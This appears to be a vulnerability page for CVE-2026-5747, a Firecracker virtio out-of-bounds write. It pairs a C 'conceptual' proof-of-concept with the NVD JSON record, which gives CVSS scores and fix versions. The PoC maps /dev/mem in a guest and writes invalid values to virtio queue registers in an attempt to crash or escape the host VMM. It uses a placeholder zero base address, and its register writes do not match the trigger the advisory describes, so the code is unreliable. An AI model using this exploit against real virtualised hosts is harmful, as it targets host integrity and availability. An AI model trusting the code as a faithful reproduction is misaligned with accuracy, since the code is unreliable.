CVE-2026-5747

/* * Conceptual PoC for CVE-2026-5747 * This code attempts to trigger the out-of-bounds write * by modifying virtio queue configuration registers. * Requires root privileges within the guest VM. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <fcntl.h> #define VIRTIO_MMIO_QUEUE_SEL 0x030 #define VIRTIO_MMIO_QUEUE_NOTIFY 0x050 // Function to map device memory (simplified) void* map_device_memory(off_t base_addr) { int mem_fd = open("/dev/mem", O_RDWR | O_SYNC); if (mem_fd < 0) { perror("Failed to open /dev/mem (requires root)"); return NULL; } void* mapped = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mem_fd, base_addr); close(mem_fd); return mapped; } int main() { printf("[+] Attempting to trigger CVE-2026-5747...\n"); // Assuming the base address of the virtio device (hypervisor specific) off_t device_base = 0x00000000; volatile unsigned int* virtio_regs = (unsigned int*)map_device_memory(device_base); if (!virtio_regs) { return -1; } // Trigger condition: Modify queue configuration after activation // This specific sequence attempts to corrupt memory via out-of-bounds write printf("[+] Modifying virtio queue registers...\n"); // Writing out of bounds values to queue selection/notify virtio_regs[VIRTIO_MMIO_QUEUE_SEL/4] = 0xFFFF; // Invalid queue index virtio_regs[VIRTIO_MMIO_QUEUE_NOTIFY/4] = 0xFFFFFFFF; printf("[+] Exploit triggered. Check Host VMM status.\n"); return 0; }

{"cve": {"id": "CVE-2026-5747", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-08T00:16:05.657", "lastModified": "2026-04-20T16:16:49.780", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write issue in the virtio PCI transport in Firecracker 1.13.0 through 1.14.3 and 1.15.0 on x86_64 and aarch64 might allow a local guest user with root privileges to crash the Firecracker VMM process or potentially execute arbitrary code on the host via modification of virtio queue configuration registers after device activation. Achieving code execution on the host requires additional preconditions, such as the use of a custom guest kernel or specific snapshot configurations.\n\nTo remediate this, users should upgrade to Firecracker 1.14.4 or 1.15.1 and later."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-369"}, {"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-015-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/firecracker-microvm/firecracker/releases/tag/v1.14.4", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/firecracker-microvm/firecracker/releases/tag/v1.15.1", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/firecracker-microvm/firecracker/security/advisories/GHSA-776c-mpj7-jm3r", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}